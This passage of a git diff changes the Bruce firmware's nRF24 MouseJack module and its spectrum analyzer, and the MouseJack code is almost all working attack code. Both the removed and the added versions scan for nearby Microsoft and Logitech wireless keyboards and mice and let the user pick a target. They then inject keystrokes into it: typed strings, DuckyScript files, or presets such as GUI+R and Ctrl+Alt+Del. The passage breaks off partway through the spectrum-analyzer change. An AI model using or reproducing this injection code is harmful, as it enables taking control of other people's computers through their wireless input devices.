- int contentY = BORDER_PAD_Y + FM * LH + 4; // Below title
- int footerH = FP * LH + 4;
- int listY = contentY + 14; // Below status line
- int listH = tftHeight - listY - footerH - 6;
-
- if (initial) { drawMainBorderWithTitle("MOUSEJACK SCAN"); }
-
- // Status line (below title, inside border)
- tft.setTextSize(FP);
- tft.fillRect(7, contentY, tftWidth - 14, 12, bruceConfig.bgColor);
- tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
- char statusBuf[40];
- snprintf(statusBuf, sizeof(statusBuf), "CH:%3d Targets:%d", currentCh, mj_targetCount);
- tft.drawCentreString(statusBuf, tftWidth / 2, contentY, 1);
-
- // Target list
- int maxItems = listH / 12;
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- for (int i = 0; i < maxItems && i < mj_targetCount; i++) {
- int y = listY + i * 12;
- tft.fillRect(7, y, tftWidth - 14, 12, bruceConfig.bgColor);
- char line[40];
- snprintf(
- line,
- sizeof(line),
- "[%s] %s ch%d",
- mj_getTypeLabel(mj_targets[i].type),
- mj_formatAddr(mj_targets[i]).c_str(),
- mj_targets[i].channel
- );
- tft.drawString(line, 12, y, 1);
- }
-
- // Footer (inside border)
- int footerY = tftHeight - BORDER_PAD_X - FP * LH - 2;
- tft.fillRect(7, footerY, tftWidth - 14, FP * LH, bruceConfig.bgColor);
- tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
- tft.drawCentreString("[ESC] Stop", tftWidth / 2, footerY, 1);
-}
-
-// ── Scanning function ───────────────────────────────────────────
-static bool mj_scan() {
- mj_targetCount = 0;
- memset(mj_targets, 0, sizeof(mj_targets));
-
- if (!mj_validateNrfMode()) return false;
-
- if (!nrf_start(mj_nrfMode)) {
- displayError("NRF24 not found", true);
- return false;
- }
-
- // Configure promiscuous mode
- NRFradio.setAutoAck(false);
- NRFradio.disableCRC();
- NRFradio.setAddressWidth(2);
- NRFradio.setDataRate(RF24_2MBPS);
- NRFradio.setPayloadSize(32);
- NRFradio.setRetries(0, 0);
- NRFradio.flush_rx();
- NRFradio.flush_tx();
-
- const uint8_t noiseAddress[][2] = {
- {0x55, 0x55},
- {0xAA, 0xAA},
- {0xA0, 0xAA},
- {0xAB, 0xAA},
- {0xAC, 0xAA},
- {0xAD, 0xAA}
- };
- for (uint8_t i = 0; i < 6; i++) { NRFradio.openReadingPipe(i, noiseAddress[i]); }
-
- mj_drawScanScreen(0, true);
-
- uint8_t lastDrawnCount = 0;
- unsigned long lastRefresh = 0;
- bool scanning = true;
-
- while (scanning) {
- // Sweep channels 2-84 (ESB range)
- for (uint8_t ch = 2; ch <= 84 && scanning; ch++) {
- if (check(EscPress)) {
- scanning = false;
- break;
- }
-
- NRFradio.setChannel(ch);
- NRFradio.startListening();
-
- for (int tries = 0; tries < SCAN_TRIES_PER_CH; tries++) {
- delayMicroseconds(SCAN_DWELL_US);
-
- if (NRFradio.available()) {
- uint8_t rxBuf[32];
- NRFradio.read(rxBuf, sizeof(rxBuf));
- mj_fingerprint(rxBuf, 32, ch);
- }
- }
-
- NRFradio.stopListening();
-
- // Refresh display periodically
- if (millis() - lastRefresh > 200 || mj_targetCount != lastDrawnCount) {
- mj_drawScanScreen(ch, false);
- lastDrawnCount = mj_targetCount;
- lastRefresh = millis();
- }
- }
- }
-
- NRFradio.stopListening();
- NRFradio.powerDown();
- return (mj_targetCount > 0);
-}
-
-// ══════════════════════════════════════════════════════════════════
-// ═══════════════ ATTACK EXECUTION ══════════════════════════════
-// ══════════════════════════════════════════════════════════════════
-
-static void mj_setupTxForTarget(const MjTarget &target) {
- NRFradio.stopListening();
- NRFradio.setAutoAck(false);
- NRFradio.setDataRate(RF24_2MBPS);
- NRFradio.setPALevel(RF24_PA_MAX);
- NRFradio.setAddressWidth(5);
- NRFradio.setChannel(target.channel);
- NRFradio.setRetries(0, 0);
- NRFradio.flush_rx();
- NRFradio.flush_tx();
-
- uint8_t addr[5];
- memcpy(addr, target.address, 5);
- NRFradio.openWritingPipe(addr);
-
- // Set payload size based on device type
- if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) {
- NRFradio.setPayloadSize(19);
- } else {
- NRFradio.setPayloadSize(10);
- }
-}
-
-// ── Attack: Inject String ───────────────────────────────────────
-static void mj_attackString(int targetIndex) {
- const MjTarget &target = mj_targets[targetIndex];
-
- // Get string from user via keyboard
- String text = keyboard("", 200, "Inject text:");
- if (text.length() == 0) return;
-
- drawMainBorderWithTitle("INJECTING");
- tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- int cy = tftHeight * 0.35;
- tft.drawCentreString(
- "[" + String(mj_getTypeLabel(target.type)) + "] " + mj_formatAddr(target), tftWidth / 2, cy, 1
- );
- cy += 16;
- tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
- tft.drawCentreString("Sending keystrokes...", tftWidth / 2, cy, 1);
- cy += 16;
-
- // Show first 30 chars of the text
- String preview = text.substring(0, 30);
- if (text.length() > 30) preview += "...";
- tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
- tft.drawCentreString(preview, tftWidth / 2, cy, 1);
-
- if (!mj_validateNrfMode()) return;
-
- if (!nrf_start(mj_nrfMode)) {
- displayError("NRF24 not found", true);
- return;
- }
-
- mj_setupTxForTarget(target);
- mj_logitechWake(target);
-
- // Sync sequence for Microsoft
- if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) {
- mj_msSequence = 0;
- for (int i = 0; i < 6; i++) {
- mj_msTransmit(target, 0, 0);
- delay(2);
- }
- }
-
- mj_typeString(target, text.c_str());
-
- NRFradio.powerDown();
- displaySuccess("Injection complete", true);
-}
-
-// ── Attack: DuckyScript from SD Card ────────────────────────────
-static void mj_attackDucky(int targetIndex) {
- const MjTarget &target = mj_targets[targetIndex];
-
- // File browser
- FS *fs = nullptr;
- if (!getFsStorage(fs)) {
- displayError("No storage found");
- delay(500);
- return;
- }
- String filepath = loopSD(*fs, true, ".txt");
- if (filepath.length() == 0) return;
-
- drawMainBorderWithTitle("DUCKYSCRIPT");
- tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- int cy = tftHeight * 0.35;
- tft.drawCentreString(
- "[" + String(mj_getTypeLabel(target.type)) + "] " + mj_formatAddr(target), tftWidth / 2, cy, 1
- );
- cy += 16;
- tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
- tft.drawCentreString("Running script...", tftWidth / 2, cy, 1);
- cy += 16;
-
- // Show filename
- int lastSlash = filepath.lastIndexOf('/');
- String fname = (lastSlash >= 0) ? filepath.substring(lastSlash + 1) : filepath;
- tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
- tft.drawCentreString(fname, tftWidth / 2, cy, 1);
-
- if (!mj_validateNrfMode()) return;
-
- File file = fs->open(filepath, FILE_READ);
- if (!file) {
- displayError("Cannot open file", true);
- return;
- }
-
- if (!nrf_start(mj_nrfMode)) {
- file.close();
- displayError("NRF24 not found", true);
- return;
- }
-
- mj_setupTxForTarget(target);
- mj_logitechWake(target);
-
- // Sync sequence for Microsoft
- if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) {
- mj_msSequence = 0;
- for (int i = 0; i < 6; i++) {
- mj_msTransmit(target, 0, 0);
- delay(2);
- }
- }
-
- uint16_t defaultDelayMs = 0;
- String lastLine;
-
- while (file.available()) {
- if (check(EscPress)) break;
-
- String line = file.readStringUntil('\n');
- line.trim();
- if (line.length() == 0) continue;
-
- // DEFAULT_DELAY
- if (line.startsWith("DEFAULT_DELAY ") || line.startsWith("DEFAULTDELAY ")) {
- defaultDelayMs = (uint16_t)line.substring(line.indexOf(' ') + 1).toInt();
- if (defaultDelayMs > 10000) defaultDelayMs = 10000;
- continue;
- }
-
- // REPEAT
- if (line.startsWith("REPEAT ")) {
- int reps = line.substring(7).toInt();
- if (reps < 1) reps = 1;
- if (reps > 500) reps = 500;
- for (int r = 0; r < reps; r++) {
- if (check(EscPress)) break;
- if (lastLine.length() > 0) { mj_parseDuckyLine(lastLine, target); }
- }
- continue;
- }
-
- mj_parseDuckyLine(line, target);
- lastLine = line;
-
- if (defaultDelayMs > 0) delay(defaultDelayMs);
- }
-
- file.close();
- NRFradio.powerDown();
- displaySuccess("Script complete", true);
-}
-
-// ══════════════════════════════════════════════════════════════════
-// ═══════════════ TARGET LIST & ATTACK MENU ═════════════════════
-// ══════════════════════════════════════════════════════════════════
-
-static void mj_attackMenu(int targetIndex) {
- const MjTarget &target = mj_targets[targetIndex];
-
- options = {
- {"Inject String", [&]() { mj_attackString(targetIndex); }},
- {"DuckyScript", [&]() { mj_attackDucky(targetIndex); } },
- {"Back", [=]() { /* return */ } },
- };
-
- String title = String("[") + mj_getTypeLabel(target.type) + "] " + mj_formatAddr(target);
- loopOptions(options, MENU_TYPE_SUBMENU, title.c_str());
-}
-
-static void mj_targetListMenu() {
- if (mj_targetCount == 0) {
- displayWarning("No targets found", true);
- return;
- }
-
- bool inList = true;
- while (inList) {
- options.clear();
- for (int i = 0; i < mj_targetCount; i++) {
- String label = String("[") + mj_getTypeLabel(mj_targets[i].type) + "] " +
- mj_formatAddr(mj_targets[i]) + " ch" + String(mj_targets[i].channel);
- int idx = i;
- options.push_back({label.c_str(), [idx]() { mj_attackMenu(idx); }});
- }
- options.push_back({"Rescan", [&]() { mj_scan(); }});
- options.push_back({"Back", [&]() { inList = false; }});
-
- loopOptions(options, MENU_TYPE_SUBMENU, "Targets");
- if (returnToMenu) return;
- }
-}
-
-// ══════════════════════════════════════════════════════════════════
-// ═══════════════ MAIN MOUSEJACK MENU ══════════════════════════
-// ══════════════════════════════════════════════════════════════════
-
-void nrf_mousejack() {
- options = {
- {"Set NRF Mode",
- [=]() {
- NRF24_MODE selected = nrf_setMode();
- if (selected != NRF_MODE_DISABLED) mj_nrfMode = selected;
- } },
- {"Scan Devices",
- [=]() {
- if (mj_scan()) {
- mj_targetListMenu();
- } else {
- displayInfo("No devices found", true);
- }
- } },
- {"View Targets", [=]() { mj_targetListMenu(); }},
- {"Main Menu", [=]() { returnToMenu = true; }},
- };
-
- loopOptions(options, MENU_TYPE_SUBMENU, "MouseJack");
-}
-#endif
+#include "nrf_mousejack.h"
+#include "core/display.h"
+#include "core/mykeyboard.h"
+#include
+
+#define MJ_MAX_DEVICES 16
+#define MJ_PAYLOAD_SIZE 32
+#define MJ_SCAN_DWELL_US 256
+#define MJ_CHANNELS 80
+
+struct MjDevice {
+ uint8_t addr[5];
+ uint8_t addrLen;
+ uint8_t channel;
+ uint8_t type;
+ int8_t lastRssi;
+ unsigned long lastSeen;
+};
+
+enum MjDevType {
+ MJ_TYPE_UNKNOWN = 0,
+ MJ_TYPE_MS_KEYBOARD,
+ MJ_TYPE_MS_MOUSE,
+ MJ_TYPE_LOGI_UNIFYING,
+ MJ_TYPE_LOGI_LIGHTSPEED,
+ MJ_TYPE_GENERIC_HID
+};
+
+static MjDevice mjDevices[MJ_MAX_DEVICES];
+static int mjDevCount = 0;
+
+static const char* mjTypeName(uint8_t t) {
+ switch (t) {
+ case MJ_TYPE_MS_KEYBOARD: return "MS KB";
+ case MJ_TYPE_MS_MOUSE: return "MS Mouse";
+ case MJ_TYPE_LOGI_UNIFYING: return "Logi Unify";
+ case MJ_TYPE_LOGI_LIGHTSPEED:return "Logi LS";
+ case MJ_TYPE_GENERIC_HID: return "HID";
+ default: return "Unknown";
+ }
+}
+
+static uint8_t mjDetectType(uint8_t *payload, uint8_t len) {
+ if (len < 12) return MJ_TYPE_UNKNOWN;
+
+ uint8_t *proto = payload + 5;
+
+ if ((proto[0] == 0x08 || proto[0] == 0x0C) && proto[1] == 0x90) {
+ if (proto[2] == 0x02)
+ return MJ_TYPE_MS_KEYBOARD;
+ return MJ_TYPE_MS_MOUSE;
+ }
+
+ if (proto[0] == 0x00 && proto[1] == 0x4F)
+ return MJ_TYPE_LOGI_UNIFYING;
+ if (proto[0] == 0x00 && (proto[1] == 0xC1 || proto[1] == 0xC2))
+ return MJ_TYPE_LOGI_UNIFYING;
+ if (proto[0] == 0x00 && proto[1] == 0xD3)
+ return MJ_TYPE_LOGI_LIGHTSPEED;
+
+ bool hasData = false;
+ for (int i = 5; i < 10 && i < len; i++) {
+ if (payload[i] != 0x00 && payload[i] != 0xFF) { hasData = true; break; }
+ }
+ if (hasData) return MJ_TYPE_GENERIC_HID;
+
+ return MJ_TYPE_UNKNOWN;
+}
+
+static int mjFindDevice(uint8_t *addr, uint8_t addrLen, uint8_t ch) {
+ for (int i = 0; i < mjDevCount; i++) {
+ if (mjDevices[i].addrLen == addrLen &&
+ mjDevices[i].channel == ch &&
+ memcmp(mjDevices[i].addr, addr, addrLen) == 0)
+ return i;
+ }
+ return -1;
+}
+
+static bool mjAddDevice(uint8_t *addr, uint8_t addrLen, uint8_t ch, uint8_t type) {
+ int idx = mjFindDevice(addr, addrLen, ch);
+ if (idx >= 0) {
+ mjDevices[idx].lastSeen = millis();
+ if (type != MJ_TYPE_UNKNOWN) mjDevices[idx].type = type;
+ return false;
+ }
+ if (mjDevCount >= MJ_MAX_DEVICES) return false;
+
+ memcpy(mjDevices[mjDevCount].addr, addr, addrLen);
+ mjDevices[mjDevCount].addrLen = addrLen;
+ mjDevices[mjDevCount].channel = ch;
+ mjDevices[mjDevCount].type = type;
+ mjDevices[mjDevCount].lastSeen = millis();
+ mjDevCount++;
+ return true;
+}
+
+static void mjBuildLogiPayload(uint8_t *buf, uint8_t hidKey, uint8_t mod) {
+ memset(buf, 0, 10);
+ buf[0] = 0x00;
+ buf[1] = 0xC1;
+ buf[2] = mod;
+ buf[3] = 0x00;
+ buf[4] = hidKey;
+ buf[5] = 0x00;
+ buf[6] = 0x00;
+ buf[7] = 0x00;
+ buf[8] = 0x00;
+ buf[9] = 0x00;
+}
+
+static void mjBuildMsPayload(uint8_t *buf, uint8_t hidKey, uint8_t mod) {
+ memset(buf, 0, MJ_PAYLOAD_SIZE);
+ buf[0] = 0x08;
+ buf[1] = 0x90;
+ buf[2] = 0x02;
+ buf[3] = 0x02;
+ buf[4] = mod;
+ buf[5] = 0x00;
+ buf[6] = hidKey;
+ buf[7] = 0x00;
+}
+
+struct MjKeystroke {
+ const char *label;
+ uint8_t hidKey;
+ uint8_t mod;
+};
+
+static const MjKeystroke mjPresets[] = {
+ {"Key H", 0x0B, 0x00},
+ {"GUI+R (Run)", 0x15, 0x08},
+ {"Enter", 0x28, 0x00},
+ {"GUI (WinKey)", 0x00, 0x08},
+ {"Ctrl+Alt+Del", 0x4C, 0x05},
+ {"CapsLock", 0x39, 0x00},
+ {"Alt+F4", 0x3D, 0x04},
+ {"Tab", 0x2B, 0x00},
+ {"Escape", 0x29, 0x00},
+ {"PrintScreen", 0x46, 0x00},
+};
+#define MJ_PRESET_COUNT (sizeof(mjPresets)/sizeof(mjPresets[0]))
+
+void nrf_mousejack() {
+ if (!nrf_start(NRF_MODE_SPI)) {
+ displayError("NRF24 not found");
+ delay(500);
+ return;
+ }
+
+ mjDevCount = 0;
+ memset(mjDevices, 0, sizeof(mjDevices));
+
+ NRFradio.setAutoAck(false);
+ NRFradio.disableCRC();
+ NRFradio.setAddressWidth(5);
+ NRFradio.setPALevel(RF24_PA_MAX);
+ NRFradio.setPayloadSize(MJ_PAYLOAD_SIZE);
+
+ const uint8_t promAddr[5] = {0xAA, 0xAA, 0xAA, 0xAA, 0xAA};
+ NRFradio.openReadingPipe(0, promAddr);
+
+ const uint8_t dataRates[] = {RF24_2MBPS, RF24_1MBPS};
+ const char* rateNames[] = {"2M", "1M"};
+
+ tft.fillScreen(bruceConfig.bgColor);
+ tft.setTextSize(FM);
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawCentreString("MouseJack", tftWidth / 2, 5, 1);
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+ tft.setCursor(5, 28);
+ tft.println("Scanning 2.4GHz...");
+ tft.drawRoundRect(2, 2, tftWidth - 4, tftHeight - 4, 5, bruceConfig.priColor);
+
+ for (int rIdx = 0; rIdx < 2; rIdx++) {
+ NRFradio.setDataRate((rf24_datarate_e)dataRates[rIdx]);
+ for (int pass = 0; pass < 6; pass++) {
+ for (int ch = 0; ch < MJ_CHANNELS; ch++) {
+ NRFradio.setChannel(ch);
+ NRFradio.startListening();
+ delayMicroseconds(MJ_SCAN_DWELL_US);
+ NRFradio.stopListening();
+
+ if (NRFradio.available()) {
+ uint8_t payload[MJ_PAYLOAD_SIZE];
+ NRFradio.read(payload, MJ_PAYLOAD_SIZE);
+
+ uint8_t type = mjDetectType(payload, MJ_PAYLOAD_SIZE);
+ if (type != MJ_TYPE_UNKNOWN) {
+ uint8_t addr[5];
+ for (int i = 0; i < 5; i++) addr[i] = payload[i];
+ mjAddDevice(addr, 5, ch, type);
+ }
+ }
+ }
+
+ int totalPass = rIdx * 6 + pass + 1;
+ tft.fillRect(5, 40, tftWidth - 10, FP * LH, bruceConfig.bgColor);
+ tft.setCursor(5, 40);
+ tft.printf("Pass %d/12 %s | Found: %d", totalPass, rateNames[rIdx], mjDevCount);
+
+ if (check(EscPress)) {
+ NRFradio.stopListening();
+ return;
+ }
+ }
+ }
+
+ if (mjDevCount == 0) {
+ displayError("No devices found");
+ delay(1000);
+ return;
+ }
+
+ int selDev = 0;
+ options.clear();
+ for (int i = 0; i < mjDevCount; i++) {
+ char label[40];
+ snprintf(label, sizeof(label), "CH%d %s %02X%02X",
+ mjDevices[i].channel,
+ mjTypeName(mjDevices[i].type),
+ mjDevices[i].addr[0], mjDevices[i].addr[1]);
+ int idx = i;
+ options.push_back({String(label), [&selDev, idx]() { selDev = idx; }});
+ }
+ options.push_back({"Back", [&]() { selDev = -1; }});
+ loopOptions(options);
+
+ if (selDev < 0 || selDev >= mjDevCount) return;
+
+ MjDevice &target = mjDevices[selDev];
+
+ int selPreset = 0;
+ options.clear();
+ for (int i = 0; i < (int)MJ_PRESET_COUNT; i++) {
+ int idx = i;
+ options.push_back({String(mjPresets[i].label), [&selPreset, idx]() { selPreset = idx; }});
+ }
+ options.push_back({"Back", [&selPreset]() { selPreset = -1; }});
+ loopOptions(options);
+
+ if (selPreset < 0) return;
+
+ uint8_t txPayload[MJ_PAYLOAD_SIZE];
+ if (target.type == MJ_TYPE_MS_KEYBOARD || target.type == MJ_TYPE_MS_MOUSE)
+ mjBuildMsPayload(txPayload, mjPresets[selPreset].hidKey, mjPresets[selPreset].mod);
+ else
+ mjBuildLogiPayload(txPayload, mjPresets[selPreset].hidKey, mjPresets[selPreset].mod);
+
+ NRFradio.stopListening();
+ NRFradio.setChannel(target.channel);
+ NRFradio.setAutoAck(false);
+ NRFradio.setCRCLength(RF24_CRC_16);
+ NRFradio.openWritingPipe(target.addr);
+ NRFradio.setPayloadSize(MJ_PAYLOAD_SIZE);
+
+ tft.fillScreen(bruceConfig.bgColor);
+ tft.setTextSize(FM);
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawCentreString("MouseJack TX", tftWidth / 2, 5, 1);
+
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+ tft.setCursor(5, 30);
+ tft.printf("Target: %s CH%d", mjTypeName(target.type), target.channel);
+ tft.setCursor(5, 44);
+ tft.printf("Addr: %02X:%02X:%02X:%02X:%02X",
+ target.addr[0], target.addr[1], target.addr[2],
+ target.addr[3], target.addr[4]);
+ tft.setCursor(5, 58);
+ tft.printf("Key: %s", mjPresets[selPreset].label);
+
+ tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+ tft.setCursor(5, 80);
+ tft.println("SEL=Inject ESC=Exit");
+ tft.drawRoundRect(2, 2, tftWidth - 4, tftHeight - 4, 5, bruceConfig.priColor);
+
+ int txCount = 0;
+ bool redraw = false;
+
+ while (!check(EscPress)) {
+ if (check(SelPress)) {
+ for (int burst = 0; burst < 5; burst++) {
+ NRFradio.write(txPayload, MJ_PAYLOAD_SIZE);
+ delayMicroseconds(500);
+ }
+
+ uint8_t releasePayload[MJ_PAYLOAD_SIZE];
+ if (target.type == MJ_TYPE_MS_KEYBOARD || target.type == MJ_TYPE_MS_MOUSE)
+ mjBuildMsPayload(releasePayload, 0x00, 0x00);
+ else
+ mjBuildLogiPayload(releasePayload, 0x00, 0x00);
+
+ delay(10);
+ for (int burst = 0; burst < 3; burst++) {
+ NRFradio.write(releasePayload, MJ_PAYLOAD_SIZE);
+ delayMicroseconds(500);
+ }
+
+ txCount++;
+ redraw = true;
+ }
+
+ if (redraw) {
+ tft.fillRect(5, 96, tftWidth - 10, FP * LH, bruceConfig.bgColor);
+ tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+ tft.setCursor(5, 96);
+ tft.printf("Injected x%d", txCount);
+ redraw = false;
+ }
+
+ delay(10);
+ }
+}
diff --git a/src/modules/NRF24/nrf_mousejack.h b/src/modules/NRF24/nrf_mousejack.h
index f2e116ca5..752540f19 100644
--- a/src/modules/NRF24/nrf_mousejack.h
+++ b/src/modules/NRF24/nrf_mousejack.h
@@ -1,113 +1,8 @@
-/**
- * @file nrf_mousejack.h
- * @brief MouseJack wireless mouse/keyboard attack module for Bruce firmware.
- *
- * Supports scanning for vulnerable Microsoft and Logitech wireless
- * devices, fingerprinting, HID keystroke injection, and DuckyScript
- * execution over nRF24L01+ (including PA+LNA modules like E01-ML01SP2).
- *
- * Credits: Based on uC_mousejack / WHID / EvilMouse research,
- * adapted for Bruce multi-device architecture.
- */
-#ifndef __NRF_MOUSEJACK_H
-#define __NRF_MOUSEJACK_H
-#if !defined(LITE_VERSION)
-#include "modules/NRF24/nrf_common.h"
-
-// ── Maximum targets ───────────────────────────────────────────
-#define MJ_MAX_TARGETS 16
-
-// ── Device type identification ────────────────────────────────
-enum MjDeviceType : uint8_t {
- MJ_DEVICE_UNKNOWN = 0,
- MJ_DEVICE_MICROSOFT = 1,
- MJ_DEVICE_MS_CRYPT = 2, // Microsoft encrypted
- MJ_DEVICE_LOGITECH = 3,
-};
-
-// ── Target structure ──────────────────────────────────────────
-struct MjTarget {
- uint8_t address[5];
- uint8_t addrLen;
- uint8_t channel;
- MjDeviceType type;
- bool active;
-};
-
-// ── HID key mapping ──────────────────────────────────────────
-struct MjHidKey {
- uint8_t modifier;
- uint8_t keycode;
-};
-
-// HID Modifier bits
-#define MJ_MOD_NONE 0x00
-#define MJ_MOD_LCTRL 0x01
-#define MJ_MOD_LSHIFT 0x02
-#define MJ_MOD_LALT 0x04
-#define MJ_MOD_LGUI 0x08
-#define MJ_MOD_RCTRL 0x10
-#define MJ_MOD_RSHIFT 0x20
-#define MJ_MOD_RALT 0x40
-#define MJ_MOD_RGUI 0x80
-
-// HID Keycodes (USB HID Usage Table)
-#define MJ_KEY_NONE 0x00
-#define MJ_KEY_A 0x04
-#define MJ_KEY_Z 0x1D
-#define MJ_KEY_1 0x1E
-#define MJ_KEY_2 0x1F
-#define MJ_KEY_3 0x20
-#define MJ_KEY_4 0x21
-#define MJ_KEY_5 0x22
-#define MJ_KEY_6 0x23
-#define MJ_KEY_7 0x24
-#define MJ_KEY_8 0x25
-#define MJ_KEY_9 0x26
-#define MJ_KEY_0 0x27
-#define MJ_KEY_ENTER 0x28
-#define MJ_KEY_ESC 0x29
-#define MJ_KEY_BACKSPACE 0x2A
-#define MJ_KEY_TAB 0x2B
-#define MJ_KEY_SPACE 0x2C
-#define MJ_KEY_MINUS 0x2D
-#define MJ_KEY_EQUAL 0x2E
-#define MJ_KEY_LBRACKET 0x2F
-#define MJ_KEY_RBRACKET 0x30
-#define MJ_KEY_BACKSLASH 0x31
-#define MJ_KEY_SEMICOLON 0x33
-#define MJ_KEY_QUOTE 0x34
-#define MJ_KEY_GRAVE 0x35
-#define MJ_KEY_COMMA 0x36
-#define MJ_KEY_DOT 0x37
-#define MJ_KEY_SLASH 0x38
-#define MJ_KEY_CAPSLOCK 0x39
-#define MJ_KEY_F1 0x3A
-#define MJ_KEY_F12 0x45
-#define MJ_KEY_PRINTSCR 0x46
-#define MJ_KEY_SCROLLLOCK 0x47
-#define MJ_KEY_PAUSE 0x48
-#define MJ_KEY_INSERT 0x49
-#define MJ_KEY_HOME 0x4A
-#define MJ_KEY_PAGEUP 0x4B
-#define MJ_KEY_DELETE 0x4C
-#define MJ_KEY_END 0x4D
-#define MJ_KEY_PAGEDOWN 0x4E
-#define MJ_KEY_RIGHT 0x4F
-#define MJ_KEY_LEFT 0x50
-#define MJ_KEY_DOWN 0x51
-#define MJ_KEY_UP 0x52
-
-// ── DuckyScript key name entry ────────────────────────────────
-struct MjDuckyKey {
- const char *name;
- uint8_t modifier;
- uint8_t keycode;
-};
-
-// ── Public functions ──────────────────────────────────────────
-
-/// Main MouseJack menu entry
-void nrf_mousejack();
-#endif
-#endif // __NRF_MOUSEJACK_H
+#ifndef __NRF_MOUSEJACK_H
+#define __NRF_MOUSEJACK_H
+#include "modules/NRF24/nrf_common.h"
+#include
+
+void nrf_mousejack();
+
+#endif
diff --git a/src/modules/NRF24/nrf_spectrum.cpp b/src/modules/NRF24/nrf_spectrum.cpp
index 28b3cf493..15de9546d 100644
--- a/src/modules/NRF24/nrf_spectrum.cpp
+++ b/src/modules/NRF24/nrf_spectrum.cpp
@@ -1,183 +1,68 @@
-/**
- * @file nrf_spectrum.cpp
- * @brief Enhanced 2.4 GHz spectrum analyzer for Bruce firmware.
- *
- * Features:
- * - 126 channels (full 2.400-2.525 GHz ISM band)
- * - Color gradient bars (green→yellow→red based on signal level)
- * - Peak hold markers with slow decay
- * - Smooth EMA (Exponential Moving Average) filtering
- * - 6 simultaneous receive pipes for maximum sensitivity
- * - Adaptive layout for all screen resolutions
- * - Grid lines every 10 channels for visual reference
- * - PA+LNA module support (E01-ML01SP2: -90dBm effective threshold)
- *
- * RPD (Received Power Detector) is binary: 1 = signal above -64dBm
- * at chip input (-90dBm with PA+LNA module).
- */
-
#include "nrf_spectrum.h"
-#include "core/display.h"
-#include "core/mykeyboard.h"
-
-// ── Spectrum data ───────────────────────────────────────────────
-static uint8_t channel[NRF_SPECTRUM_CHANNELS];
-static uint8_t peakHold[NRF_SPECTRUM_CHANNELS];
-static uint8_t peakTimer[NRF_SPECTRUM_CHANNELS];
-
-#define PEAK_HOLD_SWEEPS 25 // Number of sweeps before peak decays
-
-// ── Device label tracking ────────────────────────────────────────
-#define LABEL_DECAY_SWEEPS 10 // Sweeps until label fades after signal gone
-static uint8_t deviceLabelTimer[NRF_SPECTRUM_CHANNELS]; // Decay timer per channel
-
-// Display mode (0=bars+peaks, 1=bars only, 2=bars+device labels)
-static uint8_t specDisplayMode = 0;
-
-// Device type detection for channels
-enum DeviceType { DEV_NONE, DEV_WIFI, DEV_BLE, DEV_BT, DEV_ZIGBEE };
+#include "../../core/display.h"
+#include "../../core/mykeyboard.h"
-struct DeviceInfo {
- const char *label;
- uint16_t labelColor;
-};
+#define CHANNELS 80
+#define RGB565(r, g, b) ((((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3)))
+uint8_t channel[CHANNELS];
-static const struct DeviceInfo deviceInfo[] = {
- {nullptr, TFT_BLACK }, // DEV_NONE
- {"WiFi", TFT_WHITE }, // DEV_WIFI
- {"BLE", TFT_CYAN }, // DEV_BLE
- {"BT", TFT_MAGENTA}, // DEV_BT
- {"Zigbee", TFT_GREEN }, // DEV_ZIGBEE
-};
+// Register Access Functions
+inline byte getRegister(SPIClass &SSPI, byte r) {
-// Detect device type from channel number
-static inline DeviceType getDeviceType(int channel) {
- // WiFi: ch 1-14 (2.412-2.484 GHz) → NRF ch 12-84
- if (channel >= 12 && channel <= 84) return DEV_WIFI;
+ digitalWrite(bruceConfigPins.NRF24_bus.cs, LOW);
+ byte c = SSPI.transfer(r & 0x1F);
+ c = SSPI.transfer(0);
+ digitalWrite(bruceConfigPins.NRF24_bus.cs, HIGH);
- // BLE Advertising: ch 37-39 (2.402, 2.426, 2.480 GHz) → NRF ch 2, 26, 80
- if (channel == 2 || channel == 26 || channel == 80) return DEV_BLE;
-
- // BT Classic: ch ~50-79 (2.450-2.480 GHz) → NRF ch 50-79
- if (channel >= 50 && channel <= 79) return DEV_BT;
-
- // Zigbee/Thread: ch 11-26 + 5-80 with 5MHz spacing (2.405-2.480 GHz) → NRF ch 5,10,15...80
- if (channel >= 5 && channel <= 80 && (channel - 5) % 5 == 0) return DEV_ZIGBEE;
-
- return DEV_NONE;
+ return c;
}
-// ── Color gradient based on signal intensity (0-100) ────────────
-static uint16_t getSpectrumColor(uint8_t level) {
- if (level > 85) return TFT_RED;
- if (level > 65) return TFT_ORANGE;
- if (level > 45) return TFT_YELLOW;
- if (level > 25) return TFT_GREEN;
- return TFT_DARKGREEN;
-}
-
-// ── Layout calculations ─────────────────────────────────────────
-static int spec_headerH; // Header area height
-static int spec_footerH; // Footer area height (freq labels)
-static int spec_barAreaY; // Top of bar area
-static int spec_barAreaH; // Height of bar area
-static int spec_mirrorH; // Height of top mirror area
-static int spec_marginL; // Left margin
-static int spec_drawW; // Available drawing width (after margins)
+inline void setRegister(SPIClass &SSPI, byte r, byte v) {
-static void calcLayout() {
- spec_headerH = 0;
- spec_footerH = 14;
- spec_mirrorH = 0; // Mirror removed — eliminates top artifacts
- spec_barAreaY = 0;
- spec_barAreaH = tftHeight - spec_footerH - 2;
- spec_marginL = max(2, tftWidth / 80); // Small left margin
- int marginR = spec_marginL; // Symmetric right margin
- spec_drawW = tftWidth - spec_marginL - marginR;
+ digitalWrite(bruceConfigPins.NRF24_bus.cs, LOW);
